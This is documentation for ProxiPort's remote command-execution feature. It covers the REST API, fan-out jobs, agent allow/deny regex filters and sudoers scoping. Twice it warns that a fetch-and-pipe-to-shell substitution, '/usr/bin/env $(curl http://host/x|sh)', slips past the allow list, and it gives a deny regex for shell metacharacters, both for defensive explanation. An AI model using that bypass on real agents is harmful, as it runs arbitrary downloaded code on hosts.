Command execution¶
ProxiPort can dispatch a command to one or many connected agents, stream the output back, and record the result. The command travels through the existing chisel control channel — no tunnel is opened, and no extra port on the agent host is exposed.
For multi-line bodies and stored, reusable invocations, use
scripts instead. Note that the agent's allow/deny
filter applies to commands only — a script job runs the
operator-chosen interpreter without consulting it. See
Authorising commands on the agent.
How it works¶
- The operator (SPA, REST API, or a custom client)
POSTs a command body to/api/v1/clients/<id>/commands(single host) or/api/v1/commands(multi-host). - The server checks the user's
commandspermission and the per-client ACL, then forwards the body to the agent. - The agent matches the command against its
[remote-commands]allow/deny lists and, if accepted, spawns the process under the OS account that runsproxiport. - The agent streams stdout/stderr back over the chisel channel; the
server stores the result in
jobs.dband pushes it to any open WebSocket subscribers.
The exit code, started/finished timestamps, PID, and the executing user are all preserved on the job record.
Single-host execution¶
CLIENT=alpha-prod
TOKEN=$(curl -s -u admin:password \
https://proxiport.example.com/api/v1/login | jq -r .data.token)
JOB=$(curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
--data-raw '{"command":"uname -a","timeout_sec":10}' \
"https://proxiport.example.com/api/v1/clients/$CLIENT/commands" \
| jq -r .data.jid)
# Fetch the result once it completes
curl -s -H "Authorization: Bearer $TOKEN" \
"https://proxiport.example.com/api/v1/clients/$CLIENT/commands/$JOB" | jq
A representative response:
{
"data": {
"jid": "f72b69fd-f418-40c3-ab62-4ce2c2022c58",
"status": "successful",
"client_id": "alpha-prod",
"command": "uname -a",
"cwd": "/home/proxiport",
"is_sudo": false,
"interpreter": "/bin/sh",
"pid": 908526,
"started_at": "2026-05-17T15:30:12.934Z",
"finished_at": "2026-05-17T15:30:12.937Z",
"created_by": "admin",
"timeout_sec": 10,
"result": {
"stdout": "Linux alpha 6.8.0-111-generic ...\n",
"stderr": ""
}
}
}
timeout_sec is the agent's supervision window. If the process exceeds
it, the job is marked unknown but the process is not killed — that is
intentional, because killing a long-running migration mid-step is
usually worse than letting it finish unsupervised.
Job body fields¶
| Field | Type | Notes |
|---|---|---|
command |
string (required) | The command line to execute. Must satisfy the agent's allow/deny filter. |
timeout_sec |
int | Agent supervision timeout, default 60. |
cwd |
string | Working directory on the agent. |
is_sudo |
bool | Prefix with sudo -n on Unix. Requires an NOPASSWD sudoers entry — see below. |
interpreter |
string | Override the default shell. Useful for powershell on Windows or a [interpreter-aliases] entry. |
Multi-host execution¶
POST /api/v1/commands fan-outs a single command body to any combination
of client IDs and client-group IDs:
curl -s -X POST \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
--data-raw '{
"command": "/usr/bin/uptime",
"client_ids": ["alpha-prod", "bravo-staging"],
"group_ids": ["edge-fleet"],
"execute_concurrently": true,
"abort_on_error": false,
"timeout_sec": 30
}' \
https://proxiport.example.com/api/v1/commands
The response carries one parent jid and one child job per target
host. Poll /api/v1/commands/<jid> to get the rolled-up status, or
subscribe to the WebSocket endpoint for live stdout.
Execution-flow flags:
execute_concurrently
: false by default — agents run in series, useful for migrations
where one host must finish before the next starts. true fans the
command out in parallel.
abort_on_error
: true by default in sequential mode — the first failure stops the
rest. Ignored in concurrent mode. Set to false to keep going
regardless.
For group IDs, define the group first via the client-groups API.
Authorising commands on the agent¶
Allowing arbitrary command execution from the API is not the default.
Each agent's
proxiport.conf
has a [remote-commands] block with an allow/deny filter:
[remote-commands]
enabled = true
allow = [
'^/usr/bin/.*',
'^/usr/local/bin/.*',
'^C:\\Windows\\System32\\.*'
]
deny = ['(\||<|>|;|,|\n|&|\$|`|\(|\)|\{|\})']
order = ['allow', 'deny']
send_back_limit = 4194304
The filter is applied to the full command line as sent. Two practical consequences:
- The operator must invoke commands by absolute path.
uname -ais not in/usr/bin/.*unless sent as/usr/bin/uname -a. - Shell metacharacters are rejected by the default
denyregex — pipes, redirects,;,&&, and also$, backtick, parentheses and braces. The command is written to a script file and run through the shell, so command substitution ($(...), backticks) is a way out of the allow list by itself:/usr/bin/env $(curl http://host/x|sh)matches^/usr/bin/.*and executes something else entirely. Wrap multi-step work in a script instead.
The filter is defence in depth, not a boundary
allow/deny are regular expressions applied to a string that is
then handed to a shell. Treat them as a way to keep honest
operators inside the intended set, not as a control that contains a
determined one. If an operator should not be able to run arbitrary
code on a host, do not give them the commands permission and
leave [remote-commands] enabled = false on that agent. Note also
that the filter applies only to the command path: a script job
runs an operator-chosen interpreter and skips the allow/deny check
entirely, which is what [remote-scripts] enabled gates.
Upgrading — the default deny changed in 0.8.9¶
$, backtick, (, ), { and } were added to the shipped default.
This only affects agents that never set deny themselves — an
explicit deny in proxiport.conf is used as written and is not
touched by an upgrade.
If you relied on the old default, commands that used a shell variable or parentheses will now be rejected on that agent, for example:
/usr/bin/df -h $HOME
/usr/bin/systemctl show proxiport --property=(MainPID)
You have three options, in the order they are worth considering:
- Send an absolute, literal command.
$HOMEexpanded on the agent was never predictable from the operator's side anyway —/usr/bin/df -h /home/someonesays what it means. - Move the work into a script. Scripts are the
supported way to run anything with shell structure in it; the
allow/deny filter does not apply to them, and
[remote-scripts] enabledis the switch that governs them. -
Set
denyexplicitly to the old value if you have decided the risk is acceptable on that host:[remote-commands] deny = ['(\||<|>|;|,|\n|&)']Do this knowing what it allows: with the default
allowof^/usr/bin/.*,/usr/bin/env $(curl http://host/x|sh)passes the filter and runs whatever the substitution fetches.
Order semantics¶
order = ['allow', 'deny'] (the default):
- The command must match at least one
allowregex. - If it also matches a
denyregex, it is rejected. - Otherwise it is allowed.
order = ['deny', 'allow']:
- If the command matches a
denyregex, it is rejected unless it also matches anallowregex. - Anything that matches no regex at all is allowed.
The first order is "default deny", the second is "default allow". Use the first one unless you have a specific reason.
Examples¶
Allow anything under the standard binary dirs and any sudo -n
invocation:
allow = [
'^/usr/bin/.*',
'^/usr/local/bin/.*',
'^sudo -n .*'
]
Allow a single specific script:
allow = ['^/opt/site/maintenance.sh( |$)']
Allow PowerShell scripts under a fixed directory on Windows:
allow = [
'^C:\\Windows\\System32\\.*',
'^C:\\Users\\Administrator\\scripts\\.*\\.bat'
]
Sudo / privileged commands¶
The agent runs as an unprivileged user on Linux and as the local
service account on Windows. To allow is_sudo: true invocations on
Linux, add an NOPASSWD sudoers rule scoped to exactly the commands
the agent should be able to elevate:
# /etc/sudoers.d/proxiport-agent
proxiport-agent ALL=(ALL) NOPASSWD: /usr/bin/systemctl restart nginx
proxiport-agent ALL=(ALL) NOPASSWD: /usr/local/bin/maintenance.sh
Avoid a blanket proxiport-agent ALL=(ALL) NOPASSWD: ALL — at that
point the allow/deny filter is the only thing standing between the API
and full root, and that filter does not apply to scripts at all.
The agent's account changed in 0.10.0
The agent used to run as proxiport, which is now the server's
account alone. A sudoers rule naming proxiport no longer applies
to the agent — privileged commands will fail — and it grants those
rights to the ProxiPort server instead, which is not what it was
written for. The package upgrade prints a warning when it finds
one. Rename the user in the rule, or remove it.
Output size limits¶
The default send_back_limit is 4 MiB per stream. Anything beyond that
is truncated and the job result carries a truncated flag. Raise it
in [remote-commands] if you need full output, or write the output to
a file on the agent and pull it back via a separate path.
API surface¶
| Endpoint | Purpose |
|---|---|
POST /api/v1/clients/<id>/commands |
Single-host command |
GET /api/v1/clients/<id>/commands/<jid> |
Single-host result |
POST /api/v1/commands |
Multi-host fan-out |
GET /api/v1/commands/<jid> |
Multi-host result |
GET /api/v1/library/commands |
Stored command library |
WS /ws/commands |
Live stdout/stderr stream |
See also: scripts, client groups and permissions, operator runbook — commands and scripts.